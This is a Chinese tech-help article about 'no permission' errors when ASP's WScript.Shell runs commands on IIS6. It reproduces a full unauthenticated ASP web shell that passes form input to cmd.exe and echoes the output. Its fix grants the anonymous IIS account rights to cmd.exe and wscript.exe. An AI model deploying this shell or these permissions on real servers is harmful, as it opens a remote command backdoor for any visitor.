WD1X.COM - 问答一下,轻松解决,电脑应用解决专家
主板显卡CPU内存显示器
硬盘维修显卡维修显示器维修
注册表系统命令DOS命令Win8
存储光存储鼠标键盘
内存维修打印机维修
WinXPWin7Win11Linux
硬件综合机箱电源散热器手机数码
主板维修CPU维修键盘鼠标维修
Word教程Excel教程PowerPointWPS
网络工具系统工具图像工具
数据库javascript服务器
PHP教程CSS教程XML教程

wscript.shell run 没有权限解决办法

更新时间:2012-04-04 23:53 作者:佚名点击:

今天在把一个客户端的命令行程序弄到服务器上面的时候出现了这个问题。后来几经测试才解决了这个问题。

测试平台:windows server 2003 sp2 + iis6

测试用的代码如下:

<title>ASP Shell</title>
<%@ Language=VBScript CodePage="936"%>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = Server.Mappath(oFileSys.GetTempName( ))
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>

在系统根目录下面将cmd.exe和wscript.exe给iuser_xxx机器名权限,给当前文件夹读写权限。然后重启IIS就可以了。

顶一下
(2)
25%
踩一下
(6)
75%
------分隔线----------------------------
你可能感兴趣的内容